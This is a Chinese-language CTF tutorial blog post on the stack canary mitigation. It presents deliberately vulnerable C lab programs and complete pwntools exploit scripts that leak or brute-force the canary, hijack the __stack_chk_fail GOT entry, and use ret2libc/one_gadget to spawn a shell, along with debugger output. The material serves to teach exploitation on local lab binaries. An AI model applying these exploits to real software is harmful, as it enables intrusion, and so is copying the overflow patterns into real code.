2963 字
15 分钟
Stack-3-4 Canary

本小节我们介绍栈溢出保护Canary这一针对栈溢出的缓解保护措施。

🛡️ Defence#

🐦 Canary#

Canary是金丝雀的意思,这个名字的来源是以前煤矿工为了检测矿洞内一氧化碳浓度是否超出安全水平,会随身提着关有金丝雀的笼子。金丝雀对甲烷和一氧化碳的成分比较敏感,会报警。技术上,Canary表示最先的测试。在栈帧销毁并返回原函数前,程序会先进行栈溢出检测。

进入某个函数时,如果程序开启了栈溢出保护,那么会在程序的开头和程序的结尾添加两段代码。程序会在函数开头读一个8字节的随机数,64位下是写到保存的rbp寄存器值前面。

我们来看一个demo

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void vuln()
{
    char buf[0x20];
    read(0, buf, 0x200);
}

int main()
{
    vuln();
    return 0;
}

这个demo是典型的一个栈溢出漏洞。在编译时,我们使用参数来控制canary的开启和关闭

# 关闭canary
gcc -fno-stack-protector pwn.c -o pwn
# 开启部分canary,栈上有char数组的部分
gcc -fstack-protector pwn.c -o pwn
# 开启全部canary
gcc -fstack-protector-all pwn.c -o pwn

上图是没有canary时的vuln函数

上图是开启了canary保护时的vuln函数。可以发现,这时我们的函数被插入了两行代码。

v2 = __readfsqword(0x28u);

return v2 - __readfsqword(0x28u)

其中__readfsqword(0x28)就是从fs+0x28的位置读8字节,fs作为一个段寄存器,它储存着线程局部储存TLS的结构体,我们的canary就是在这个结构体上。

如图所示,canary在rbp上方。而我们对栈溢出的利用要求程序至少能控制返回地址,所以在canary 开启的情况下。我们要想溢出,就必须覆盖到canary。在程序返回时,会检测canary是否和fs+0x28处的原始canary是否相同。如果相同,那么正常返回,如果不相同,那么说明发生了栈溢出,bp和return_address可能被篡改,那么直接报错退出。

 ./canary   
111111111111111111111111111111111111111111111111111111111
*** stack smashing detected ***: terminated
[1]    10715 IOT instruction (core dumped)  ./canary

我们可以通过gdb来观察canary在栈中的状态。

pwndbg> stack 30
00:0000│ rax rsi rsp 0x7fffffffd2a0 ◂— 0
01:0008│-028         0x7fffffffd2a8 ◂— 0
02:0010│-020         0x7fffffffd2b0 ◂— 0
03:0018│-018         0x7fffffffd2b8 ◂— 0
04:0020│-010         0x7fffffffd2c0 ◂— 0
05:0028│-008         0x7fffffffd2c8 ◂— 0x9a71e152988f900 => CANARY
06:0030│ rbp         0x7fffffffd2d0 —▸ 0x7fffffffd2e0 —▸ 0x7fffffffd380 —▸ 0x7fffffffd3e0 ◂— 0 => SAVED RBP
07:0038│+008         0x7fffffffd2d8 —▸ 0x555555555196 (main+9) ◂— mov eax, 0 => return address
00:0000│ rax rsi rsp 0x7fffffffd2a0 ◂— 0
01:0008│-028         0x7fffffffd2a8 ◂— 0
02:0010│-020         0x7fffffffd2b0 ◂— 0
03:0018│-018         0x7fffffffd2b8 ◂— 0
04:0020│-010         0x7fffffffd2c0 ◂— 0
05:0028│-008         0x7fffffffd2c8 ◂— 0xa6a19e02c1bc900
06:0030│ rbp         0x7fffffffd2d0 —▸ 0x7fffffffd2e0 —▸ 0x7fffffffd380 —▸ 0x7fffffffd3e0 ◂— 0
07:0038│+008         0x7fffffffd2d8 —▸ 0x555555555196 (main+9) ◂— mov eax, 0

观察到canary

0x9a71e152988f900
0xa6a19e02c1bc900

可以发现canary是一串随机数,并且有一个显著的特征,canary的末尾被设置为了\x00,这个设计是防止如同putsprintf等函数在不溢出的情况下直接泄露canary。

🗡️ Bypass#

接下来我们介绍canary的绕过方式。在我们需要栈溢出来控制执行流时,必然栈溢出是能够控制到返回地址。所以,我们必然能够控制到canary所在的位置。如果我们在栈溢出之前,先将canary泄露出来,就可以通过canary的检查。这是绕过canary最基本的方法。或者直接爆破canary。在之前的介绍中,我们提到canary的原始值被存放在fs+0x28的位置,如果我们能够写到此处,将canary控制为一个我们人工设定的值,比如0x1234567812345600,也可以通过canary的检测。或者说,我们无法完成上述的工作,在特定情况下也可以通过劫持canary的错误处理流程来直接leak data

💦 Leak Canary#

泄露canary有很多方法,包括不限于格式化字符串导致的栈上任意读,数组越界导致任意读等经典的漏洞。之前我们介绍过canary的末字节被置零防止直接的泄露,这是因为在C语言中字符串通常以\x00为结尾。在我们具有栈溢出能力的情况下,可以通过printf('%s')等函数泄露canary。

我们由一个实验来学习这种攻击方法。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void init()
{
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
}

void vuln()
{
    char buf[0x20];

    printf("Input your payload:");
    read(0, buf, 0x100);
    printf("Your payload: %s\n", buf);
    puts("What are you doing?");
    read(0, buf, 0x100);
}

int main()
{
    init();
    vuln();
    return 0;
}

用以下命令编译

gcc -no-pie Lab-s-3-4-1.c -o Lab

编译好之后查一下保护

 checksec --file=Lab        
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   27 Symbols	 No	0		2		Lab

程序显然存在明显的栈溢出,但是存在canary,我们想要栈溢出必须绕过。这里有两个溢出点read(0, buf, 0x60)。在read之后,程序为printf打印我们输入的字符串。所以我们可以通过覆写canary最低字节,然后printf将canary打印出来。获得canary之后,我们就可以在最后的read溢出控制执行流了。

padding = cyclic(0x20) + b'A' * 0x8
io.sendlineafter(b'payload:', padding)
io.recvuntil(b'AAAAAAAA\n')
canary = u64(io.recv(7).rjust(8, b'\x00'))
log.success("Canary: " + hex(canary))

调试界面如下

00:0000│ rsp 0x7ffec4954a80 ◂— 0x6161616261616161 ('aaaabaaa')
01:0008│-028 0x7ffec4954a88 ◂— 0x6161616461616163 ('caaadaaa')
02:0010│-020 0x7ffec4954a90 ◂— 0x6161616661616165 ('eaaafaaa')
03:0018│-018 0x7ffec4954a98 ◂— 0x6161616861616167 ('gaaahaaa')
04:0020│-010 0x7ffec4954aa0 ◂— 0x4141414141414141 ('AAAAAAAA')
05:0028│-008 0x7ffec4954aa8 ◂— 0x396be8abbb05010a -> Last Byte has been changed

现在进入第二个read控制执行流,要控制到哪里呢?本实验没有内置明显的后门函数,也没有可用的gadgets。只能考虑ret2libc,我们可以通过泄露canary的printf泄露栈上的libc信息。所以控制执行流到vuln函数起始位置。

vuln_addr = 0x4011C7
payload = cyclic(0x28) + p64(canary) + p64(0xdeadbeef) + p64(vuln_addr)
io.sendafter(b'doing?\n', payload)

栈布局如下

00:0000│ rsi rsp 0x7ffd90e5d480 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa'
01:0008│-028     0x7ffd90e5d488 ◂— 'caaadaaaeaaafaaagaaahaaaiaaajaaa'
02:0010│-020     0x7ffd90e5d490 ◂— 'eaaafaaagaaahaaaiaaajaaa'
03:0018│-018     0x7ffd90e5d498 ◂— 'gaaahaaaiaaajaaa'
04:0020│-010     0x7ffd90e5d4a0 ◂— 'iaaajaaa'
05:0028│-008     0x7ffd90e5d4a8 ◂— 0xc4e8b0053ca16400
06:0030│ rbp     0x7ffd90e5d4b0 ◂— 0xdeadbeef
07:0038│+008     0x7ffd90e5d4b8 —▸ 0x4011c7 (vuln) ◂— push rbp

现在重新进入vuln泄露libc

padding = cyclic(0x38) + b'B' * 0x8
io.sendafter(b'payload:', padding)
io.recvuntil(b'BBBBBBBB')
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - (0x7fe700227635 - 0x7fe700200000)
log.success("Libc base: " + hex(libc_base))

栈布局

00:0000│ rsi rsp 0x7ffd90e5d488 ◂— 0x6161616261616161 ('aaaabaaa')
01:0008│-028     0x7ffd90e5d490 ◂— 0x6161616461616163 ('caaadaaa')
02:0010│-020     0x7ffd90e5d498 ◂— 0x6161616661616165 ('eaaafaaa')
03:0018│-018     0x7ffd90e5d4a0 ◂— 0x6161616861616167 ('gaaahaaa')
04:0020│-010     0x7ffd90e5d4a8 ◂— 0x6161616a61616169 ('iaaajaaa')
05:0028│-008     0x7ffd90e5d4b0 ◂— 0x6161616c6161616b ('kaaalaaa')
06:0030│ rbp     0x7ffd90e5d4b8 ◂— 0x6161616e6161616d ('maaanaaa')
07:0038│+008     0x7ffd90e5d4c0 ◂— 0x4242424242424242 ('BBBBBBBB')
08:0040│+010     0x7ffd90e5d4c8 —▸ 0x7faa81627635 ◂— mov edi, eax

泄露rbp+0x10的libc地址,通过调试找到该地址相对基地址的偏移量。

libc 命令可以显示当前程序的libc基地址

之后直接使用one_gadget来GET SHELL即可。

pwndbg> one
Using libc: /usr/lib/libc.so.6

0xe5fb0 execve("/bin/sh", r9, r10)
+----------+-----------------------------------------------------+
| Result   | Constraint                                          |
+==========+=====================================================+
| SAT      | [r9] == NULL || r9 == NULL || r9 is a valid argv    |
+----------+-----------------------------------------------------+
| SAT      | [r10] == NULL || r10 == NULL || r10 is a valid envp |
+----------+-----------------------------------------------------+

Found 1 SAT gadgets.
Found 8 UNSAT gadgets.
Found 0 UNKNOWN gadgets.

Full Exp

from pwn import *
io = process("./Lab")

# Leak canary
padding = cyclic(0x20) + b'A' * 0x8
io.sendlineafter(b'payload:', padding)
io.recvuntil(b'AAAAAAAA\n')
canary = u64(io.recv(7).rjust(8, b'\x00'))
log.success("Canary: " + hex(canary))

#hijack control flow
vuln_addr = 0x4011C7
payload = cyclic(0x28) + p64(canary) + p64(0xdeadbeef) + p64(vuln_addr)
io.sendafter(b'doing?\n', payload)

#leak libc address
padding = cyclic(0x38) + b'B' * 0x8
io.sendafter(b'payload:', padding)
io.recvuntil(b'BBBBBBBB')
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - (0x7fe700227635 - 0x7fe700200000)
log.success("Libc base: " + hex(libc_base))

#one_gadget get shell
one_gadget = libc_base + 0xe5fb0
payload = cyclic(0x28) + p64(canary) + p64(0) + p64(one_gadget)
io.sendafter(b'doing?\n', payload)

io.interactive()

执行结果

 python exp.py
[+] Starting local process './Lab': pid 16751
[+] Canary: 0x578c630515f0bd00
[+] Libc base: 0x7f15bee00000
[*] Switching to interactive mode
$ whoami
K4per

本实验使用printf("%s")泄露栈上数据。但同样也有其他泄露canary的方法。接下来我们介绍爆破canary的技术。

💥 Exhaustive Canary#

暴力破解canary是最直接的canary攻击手法。由于canary只有八字节,末尾字节还为0,所以我们只需要爆破canary的七个字节就行。canary的爆破常见于程序通过fork()创建了一个子进程,由于通过fork()创建的进程,内存直接原样拷贝,所以两个进程的canary是相同的。

如果在32位,那么我们只需要爆破3字节。

我们由一个实验来学习这种攻击方法。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

void init()
{
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
}

void getshell()
{
    system("/bin/sh");
}

void vuln()
{
    char buf[0x20];
    read(0, buf, 0x200);
}

int main()
{
    init();
    while(1)
    {
        printf("Hello, Pwner!");
        if( fork() ) {
            wait(NULL);
        }
        else {
            vuln();
            exit(0);
        }
    }
    return 0;
}

用以下命令编译

$ gcc Lab-s-3-4-2.c -no-pie  -fstack-protector -z noexecstack -o Lab

显然存在溢出点。我们只需要拿到canary就可以ret2text了。由于我们的fork完全拷贝数据来创建子进程,那么两个进程的canary显然相同,逐字节爆破即可。

from pwn import *
import time

io = process("./Lab")

backdoor = 0x401207
ret = 0x40101a
canary = b'\x00'

for i in range(7):
    for j in range(0, 256):
        #io.recvuntil(b'Hello, Pwner!')
        payload = cyclic(0x28) + canary + p8(j)
        io.send(payload)
        time.sleep(0.2)
        res = io.recv()
        if (b'stack smashing detected' not in res):
            print(f"The {i} is { hex(j) }")
            canary += p8(j)
            break

log.success(f"Canary: {hex(u64(canary))}")

payload = cyclic(0x28) + canary + p64(0xdeadbeef) + p64(ret) + p64(backdoor)
sleep(0.5)
io.send(payload)
io.interactive()

🎩 Hijack Canary Check#

canary在返回前会先执行一次判断,如果检测到溢出,那么会调用___stack_chk_fail。在程序逻辑中我们也可以看到这点。

而在动态链接的程序中,该函数是一个正常的延迟绑定函数,也就是说,程序通过GOT表来储存该函数在延迟绑定流程后的真实地址。如果我们劫持了该函数的GOT,也就能成功控制执行流了。

我们通过实验Lab-s-3-4-3来学习这种攻击手法。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void init()
{
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
}

void backdoor()
{
    system("/bin/sh");
}

void key()
{
    char buf[8];
    char *ptr = (char *)&buf;
    puts("addr:");
    read(0, &ptr, 8);
    puts("data:");
    read(0, ptr, 8);
}

void vuln()
{
    char buf[0x40];

    key();
    puts("Let's start.");
    read(0, buf, 0x100);
}

int main()
{
    init();
    vuln();
    return 0;
}

通过以下命令编译

gcc Lab-s-3-4-3.c -no-pie -fstack-protector -z lazy -o Lab

查看一下保护

 checksec --file=Lab                                       
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   35 Symbols        No    0               1               Lab

Partial RELRO的情况下,启用了延迟绑定。也就是说,我们一开始的___stack_chk_fail的got表是一个非随机化的地址。

程序存在栈溢出,同时有一个任意写漏洞。

第一个read修改buf指针,第二个read去写入内容。这里就可以用来劫持GOT。具体操作先劫持buf___stack_chk_fail的GOT地址,然后修改为backdoor的地址。此时我们回到vuln触发栈溢出,由于开启了canary,所以自然会失败,程序调用__stack_chk_fail,这个时候调用的GOT已经被劫持了,所以会进入backdoor

from pwn import *

io = process("./Lab")
elf = ELF("./Lab")

target_addr = 0x404008 # ___stack_chk_fail
backdoor_addr = elf.symbols['backdoor']

io.sendafter(b'addr:\n', p64(target_addr))
io.sendafter(b'data:\n', p64(backdoor_addr))

io.sendafter(b'start.\n', cyclic(0x70))
io.interactive()

结果如下

 python exp.py

[+] Starting local process './Lab': pid 50231
[*] '/home/K4per/Public/CTF/Challenge/Turiral/Stack-3-4/Stack-3-4-3/Lab'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] Switching to interactive mode
$ whoami
K4per

🆕 Overwrite TLS#

线程局部存储(英语:Thread-local storage,缩写:TLS)是一种存储持续期(storage duration),对象的存储是在线程开始时分配,线程结束时回收,每个线程有该对象自己的实例。这种对象的链接性(linkage)可以是静态的也可是外部的。

canary之前说过由一个TLS结构体分配,TLS结构体的寻址是通过fs段寄存器实现的。在fs+0x28的位置存储着canary的原始值。当进行canary校验时,使用的也是此处的值。如果通过某种方式,我们泄露出了fs寄存器的值,那么就可以直接修改到canary所在的位置,那么canary就可控了,可以修改为我们想要的值。

💬 Summarize#

本节我们学习了canary是如何缓解栈溢出攻击的,并且学习了canary的四种绕过手法。最后一种绕过手法这里留作作业。到此为止,Stack-3的内容就已经学习完毕了,下一节我们将进入Stack-4 格式化字符串。

🚩 极客大挑战2024 - stack_overflow#

哇,又是我最喜欢打的栈溢出啦 https://www.ctfplus.cn/problem-detail/1860679741309194240/description

Stack-3-4 Canary
https://k4per-blog.xyz/posts/stack-3-4-canary/
作者
K4per
发布于
2025-12-01
许可协议
CC BY-NC-SA 4.0